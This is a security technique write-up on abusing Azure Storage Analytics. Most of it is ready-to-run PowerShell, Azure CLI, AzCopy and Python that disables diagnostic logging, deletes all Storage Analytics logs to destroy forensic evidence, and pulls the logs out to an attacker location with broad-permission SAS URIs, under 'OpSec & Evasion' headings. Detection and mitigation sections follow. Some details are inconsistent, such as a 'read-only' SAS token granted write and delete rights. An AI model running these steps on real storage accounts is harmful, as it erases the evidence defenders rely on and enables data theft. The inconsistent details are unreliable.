MCADDF

[REALWORLD-045]: Azure Storage Analytics Abuse

Metadata

Attribute Details
Technique ID REALWORLD-045
MITRE ATT&CK v18.1 T1537 - Transfer Data to Cloud Account
Tactic Exfiltration
Platforms Entra ID, Azure
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All Azure Storage versions, all PowerShell versions 5.0+
Patched In N/A (Mitigation requires configuration hardening)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Azure Storage Analytics logs record detailed telemetry about access patterns, authentication methods, and data operations on Azure Blob Storage, File Shares, Queues, and Tables. Adversaries with compromised credentials or sufficient RBAC permissions can abuse these logs in two ways: (1) Log Manipulation — deleting or purging Storage Analytics logs from the $logs container to erase evidence of reconnaissance or data exfiltration; (2) Log Exfiltration — accessing the logs themselves to map container contents, authentication patterns, and sensitive file metadata before conducting targeted data theft. Once logs are disabled or deleted, defenders lose the only detailed audit trail of blob-level activity.

Attack Surface: The $logs blob container (auto-created when Storage Analytics is enabled), Azure Monitor diagnostic settings, and storage account access keys/SAS tokens with read/delete permissions on the $logs container.

Business Impact: Complete loss of forensic visibility into Storage Account activities. Attackers can enumerate container contents, identify high-value blobs, extract them via SAS URIs or access keys, and destroy evidence—all without triggering alerts if logs have been disabled. This is particularly dangerous for organizations storing PII, financial data, or intellectual property in unencrypted or loosely-controlled storage accounts.

Technical Context: Typically takes 10-30 seconds to disable Storage Analytics via Azure Portal or PowerShell. Deletion of existing logs in the $logs container takes seconds to minutes depending on log volume. Chance of detection (without monitoring): Very high if Azure Activity Log monitoring is enabled; very low if only Storage Analytics logs are monitored (since they can be deleted). Common indicators: Sudden disappearance of $logs container, gaps in storage account activity, or absence of expected Storage Analytics logs during the attack timeframe.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 3.2 (Azure) Ensure Storage logging is enabled for Blob Storage
DISA STIG V-87901 Azure: All virtual resources must have logging enabled
CISA SCuBA SC-7 Logging of access to Azure Storage is not enabled
NIST 800-53 AU-2, AU-11 Audit events; Audit log retention and archival
GDPR Art. 32 Security of Processing — adequate logging required
DORA Art. 9 Protection and Prevention — detect unauthorized access to financial data
NIS2 Art. 21 Cyber Risk Management Measures — maintain audit trail of critical data access
ISO 27001 A.12.4.1 Recording user activities; A.12.4.3 — Protection of log information
ISO 27005 Risk Scenario “Loss of audit logs enabling attacker to hide data exfiltration”

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance

# Check if Storage Analytics is enabled for Blob Storage
$storageAccountName = "targetstorageaccount"
$resourceGroupName = "target-rg"

$storageAccount = Get-AzStorageAccount -ResourceGroupName $resourceGroupName -Name $storageAccountName
$diagnosticSettings = Get-AzDiagnosticSetting -ResourceId $storageAccount.Id -ErrorAction SilentlyContinue

if ($null -eq $diagnosticSettings) {
    Write-Host "Storage Analytics NOT enabled" -ForegroundColor Red
} else {
    Write-Host "Storage Analytics IS enabled" -ForegroundColor Green
    $diagnosticSettings | Select-Object Name, Logs, Metrics | Format-Table
}

# Check if $logs container exists
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -UseConnectedAccount
$logsContainer = Get-AzStorageContainer -Name '$logs' -Context $ctx -ErrorAction SilentlyContinue

if ($null -eq $logsContainer) {
    Write-Host "`$logs container does NOT exist" -ForegroundColor Yellow
} else {
    Write-Host "`$logs container EXISTS" -ForegroundColor Green
    # List log blobs to identify volume
    $logBlobs = Get-AzStorageBlob -Container '$logs' -Context $ctx
    Write-Host "Total log blobs: $($logBlobs.Count)" -ForegroundColor Cyan
}

# Check who has access to storage account keys
$storageAccountKeys = Get-AzStorageAccountKey -ResourceGroupName $resourceGroupName -Name $storageAccountName
Write-Host "Number of access keys present: $($storageAccountKeys.Count)" -ForegroundColor Cyan

What to Look For:

Version Note: Command syntax is consistent across PowerShell 5.0+, but Az.Storage module must be version 4.0+ for full compatibility.

Azure CLI Reconnaissance

# Check Storage Analytics status
az storage account show --name <storage_account_name> \
  --resource-group <resource_group_name> \
  --query "id"

# Get diagnostic settings
az monitor diagnostic-settings list --resource <storage_account_id>

# List blobs in $logs container (if accessible)
az storage blob list --container-name '$logs' \
  --account-name <storage_account_name> \
  --account-key <storage_account_key> \
  --output table

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Disable Storage Analytics via PowerShell (Account Key-Based)

Supported Versions: Server 2016-2025, All Azure Storage versions

Step 1: Authenticate and Obtain Storage Account Context

Objective: Establish authentication to the target storage account using either account key or managed identity.

Command (Using Storage Account Key):

$storageAccountName = "targetstorageaccount"
$storageAccountKey = "DefaultEndpointsProtocol=https;AccountName=targetstorageaccount;AccountKey=<base64_key_here>;EndpointSuffix=core.windows.net"

$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -StorageAccountKey $storageAccountKey

Command (Using Managed Identity - if running from Azure VM):

$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -UseConnectedAccount

Command (Using SAS Token):

$sasToken = "sv=2021-06-08&ss=b&srt=sco&sp=rwdlac&se=2025-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=..."
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -SasToken $sasToken

Expected Output:

StorageAccountName     : targetstorageaccount
BlobEndPoint           : https://targetstorageaccount.blob.core.windows.net/
FileEndPoint           : https://targetstorageaccount.file.core.windows.net/
...

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 2: Disable Storage Analytics (Blob Service)

Objective: Turn off diagnostic logging to prevent further log collection.

Command (Set Diagnostic Settings to Disabled):

$resourceGroupName = "target-rg"
$storageAccountName = "targetstorageaccount"

$storageAccount = Get-AzStorageAccount -ResourceGroupName $resourceGroupName -Name $storageAccountName

# Remove diagnostic settings (this disables log collection)
Remove-AzDiagnosticSetting -ResourceId $storageAccount.Id -Force -ErrorAction Continue

Alternative Command (Using Azure CLI):

az monitor diagnostic-settings delete \
  --name "StorageAnalytics" \
  --resource /subscriptions/<subscription_id>/resourceGroups/<rg_name>/providers/Microsoft.Storage/storageAccounts/<storage_account_name>

Expected Output:

The diagnostic setting 'StorageAnalytics' was successfully removed.

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 3: Delete Logs from the $logs Container

Objective: Permanently remove historical Storage Analytics logs to destroy forensic evidence.

Command (Delete All Blobs in $logs Container):

$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -StorageAccountKey $storageAccountKey

# Get all blobs in $logs container
$logBlobs = Get-AzStorageBlob -Container '$logs' -Context $ctx

# Delete each blob
$logBlobs | Remove-AzStorageBlob -Force

Write-Host "Deleted $($logBlobs.Count) log blobs from `$logs container" -ForegroundColor Green

Command (Delete Specific Date Range of Logs - More Selective):

$targetDate = (Get-Date).AddDays(-1)  # Delete logs from yesterday

$logBlobs = Get-AzStorageBlob -Container '$logs' -Context $ctx | `
  Where-Object { $_.LastModified -lt $targetDate }

$logBlobs | Remove-AzStorageBlob -Force

Write-Host "Deleted $($logBlobs.Count) log blobs older than $targetDate" -ForegroundColor Green

Alternative Command (Using Azure CLI):

# Delete all blobs in $logs container
az storage blob delete-batch \
  --source '$logs' \
  --account-name <storage_account_name> \
  --account-key <storage_account_key>

Alternative Command (Using AzCopy - Faster for Large Volumes):

azcopy remove "https://<storage_account_name>.blob.core.windows.net/\$logs" --recursive --account-key <storage_account_key>

Expected Output:

Deleted 1250 log blobs from $logs container

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 4: Verify Deletion and Confirm Logs Are Gone

Objective: Confirm that Storage Analytics is disabled and logs are deleted.

Command (Verify $logs Container is Empty or Deleted):

$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -StorageAccountKey $storageAccountKey

try {
    $remainingBlobs = Get-AzStorageBlob -Container '$logs' -Context $ctx
    if ($remainingBlobs.Count -eq 0) {
        Write-Host "`$logs container is EMPTY (all logs deleted)" -ForegroundColor Green
    } else {
        Write-Host "WARNING: $($remainingBlobs.Count) blobs still exist in `$logs" -ForegroundColor Yellow
    }
} catch {
    Write-Host "`$logs container no longer exists" -ForegroundColor Green
}

Command (Verify Diagnostic Settings are Disabled):

$diagnosticSettings = Get-AzDiagnosticSetting -ResourceId $storageAccount.Id -ErrorAction SilentlyContinue
if ($null -eq $diagnosticSettings) {
    Write-Host "Diagnostic settings are DISABLED (no active logging)" -ForegroundColor Green
} else {
    Write-Host "WARNING: Diagnostic settings still exist" -ForegroundColor Yellow
}

Expected Output:

$logs container is EMPTY (all logs deleted)
Diagnostic settings are DISABLED (no active logging)

What This Means:


METHOD 2: Exfiltrate Logs via SAS URI (Read Access Before Deletion)

Supported Versions: All Azure Storage versions

This method assumes the attacker wants to extract logs before deletion to identify container contents, access patterns, and sensitive data locations.

Step 1: Generate SAS URI for $logs Container

Objective: Create a temporary, publicly-accessible URL to download all logs without exposing storage account keys.

Command (PowerShell):

$storageAccountName = "targetstorageaccount"
$storageAccountKey = "<storage_account_key>"
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -StorageAccountKey $storageAccountKey

# Generate SAS token for $logs container (valid for 7 days, read-only)
$sasToken = New-AzStorageContainerSASToken -Container '$logs' `
  -Context $ctx `
  -Permission racwd `
  -ExpiryTime (Get-Date).AddDays(7)

# Construct full SAS URI
$sasUri = "https://$storageAccountName.blob.core.windows.net/`$logs?$sasToken"

Write-Host "SAS URI: $sasUri" -ForegroundColor Cyan

Command (Azure CLI):

az storage container generate-sas \
  --name '$logs' \
  --account-name <storage_account_name> \
  --account-key <storage_account_key> \
  --permissions racwd \
  --expiry 2025-12-31T23:59:59Z

Expected Output:

SAS URI: https://targetstorageaccount.blob.core.windows.net/$logs?sv=2021-06-08&ss=b&srt=c&sp=racwd&se=2025-01-17T08:00:00Z&...

What This Means:

OpSec & Evasion:


Step 2: Download Logs via SAS URI

Objective: Download all logs to an attacker-controlled location.

Command (Using AzCopy):

azcopy copy "https://targetstorageaccount.blob.core.windows.net/\$logs/*?<sas_token>" "C:\logs\" --recursive

Command (Using PowerShell):

$sasUri = "https://targetstorageaccount.blob.core.windows.net/\$logs?<sas_token>"
$outputPath = "C:\logs"

# Download all blobs from $logs container
$ctx = New-AzStorageContext -StorageAccountName $storageAccountName -SasToken $sasToken
Get-AzStorageBlob -Container '$logs' -Context $ctx | ForEach-Object {
    Get-AzStorageBlobContent -Container '$logs' -Blob $_.Name -Context $ctx -Destination $outputPath -Force
}

Command (Using wget/curl from Linux):

wget -r -nd -A "*.log" "https://targetstorageaccount.blob.core.windows.net/\$logs?<sas_token>" -P /tmp/logs/

Expected Output:

Downloaded 1250 log files (4.2 GB total) to C:\logs\

What This Means:

OpSec & Evasion:


METHOD 3: Delete Logs via REST API (Programmatic Approach)

Supported Versions: All Azure Storage versions, Python 3.6+

This method is useful for automation and remote execution without requiring PowerShell installed locally.

Command (Python Script):

#!/usr/bin/env python3
from azure.storage.blob import BlobServiceClient, BlobSasPermissions, generate_blob_sas
from datetime import datetime, timedelta

# Authenticate using storage account key
storage_account_name = "targetstorageaccount"
storage_account_key = "<storage_account_key>"

blob_service_client = BlobServiceClient(
    account_url=f"https://{storage_account_name}.blob.core.windows.net",
    credential=storage_account_key
)

# Get container client for $logs
container_client = blob_service_client.get_container_client("$logs")

# Delete all blobs in the container
blob_list = container_client.list_blobs()
for blob in blob_list:
    print(f"Deleting blob: {blob.name}")
    container_client.delete_blob(blob.name)

print("All logs deleted successfully")

Expected Output:

Deleting blob: [datetime]/000000.log
Deleting blob: [datetime]/000001.log
...
All logs deleted successfully

What This Means:

OpSec & Evasion:


6. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Immediate Isolation:
    # Revoke storage account keys to deny further access
    New-AzStorageAccountKey -ResourceGroupName <rg_name> -Name <storage_account_name> -KeyName key1
    New-AzStorageAccountKey -ResourceGroupName <rg_name> -Name <storage_account_name> -KeyName key2
    
  2. Restore from Backup:
    # If logs were backed up to separate storage account, restore them
    $backupCtx = New-AzStorageContext -StorageAccountName "backupstorageaccount" -StorageAccountKey $backupKey
    $backupBlobs = Get-AzStorageBlob -Container "backup-logs" -Context $backupCtx
    $targetCtx = New-AzStorageContext -StorageAccountName "targetstorageaccount" -StorageAccountKey $targetKey
       
    # Copy restored logs to target account
    foreach ($blob in $backupBlobs) {
        Get-AzStorageBlobContent -Container "backup-logs" -Blob $blob.Name -Context $backupCtx -Destination "C:\temp\"
        Set-AzStorageBlobContent -Container '$logs' -File "C:\temp\$($blob.Name)" -Context $targetCtx -Force
    }
    
  3. Re-enable Storage Analytics:
    # Re-enable diagnostic settings
    $storageAccount = Get-AzStorageAccount -ResourceGroupName <rg_name> -Name <storage_account_name>
    Set-AzDiagnosticSetting -ResourceId $storageAccount.Id `
      -Enabled $true `
      -Category Logs `
      -RetentionEnabled $true `
      -RetentionInDays 365
    
  4. Conduct Forensic Investigation:
    • Query Azure Activity Log for all operations on the storage account during the compromise window.
    • Cross-reference with Entra ID sign-in logs to identify which user/service principal performed the deletions.
    • Analyze any preserved logs (e.g., in SIEM) to identify which data was accessed before logs were deleted.

7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Mitigations Are Active)

# Check if Storage Analytics is enabled
$storageAccount = Get-AzStorageAccount -ResourceGroupName <rg_name> -Name <storage_account_name>
$diagnosticSettings = Get-AzDiagnosticSetting -ResourceId $storageAccount.Id

if ($null -eq $diagnosticSettings) {
    Write-Host "❌ FAIL: Storage Analytics is NOT enabled" -ForegroundColor Red
} else {
    Write-Host "✓ PASS: Storage Analytics is enabled with $($diagnosticSettings.Logs.Enabled) logging" -ForegroundColor Green
}

# Check if public access is disabled
$publicAccessStatus = $storageAccount.AllowBlobPublicAccess
Write-Host "Blob Public Access: $publicAccessStatus (should be False)" -ForegroundColor $(if ($publicAccessStatus -eq $false) { 'Green' } else { 'Red' })

# Check if immutable retention is enabled
$containerProps = Get-AzStorageContainerStoredAccessPolicy -Container '$logs' -Context $ctx -ErrorAction SilentlyContinue
Write-Host "Immutable Policy Status: $($containerProps.RetentionDays) days" -ForegroundColor Green

Expected Output (If Secure):

✓ PASS: Storage Analytics is enabled with True logging
Blob Public Access: False (should be False)
Immutable Policy Status: 2555 days

Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-005] Azure Resource Graph enumeration Attacker enumerates storage accounts and container contents
2 Credential Access [CA-UNSC-008] Azure storage account key theft Attacker obtains storage account key or SAS token
3 Exfiltration [REALWORLD-045] Attacker disables/deletes Storage Analytics logs
4 Exfiltration [T1537] Transfer Data to Cloud Account Attacker exfiltrates blobs to attacker-controlled storage account
5 Defense Evasion [T1070] Indicator Removal Attacker clears Azure Activity Logs to hide trace of exfiltration
6 Impact [T1485] Data Destruction Attacker deletes original blobs to prevent recovery

9. REAL-WORLD EXAMPLES

Example 1: Storm-0501 Azure Ransomware Campaign (2024)

Example 2: Lazarus Group Azure Blob Storage Reconnaissance (2023)


10. REFERENCES & TOOLING

Official Microsoft Documentation

Detection & Monitoring Tools

Red Teaming / PoC Tools

SIEM/SOC Rules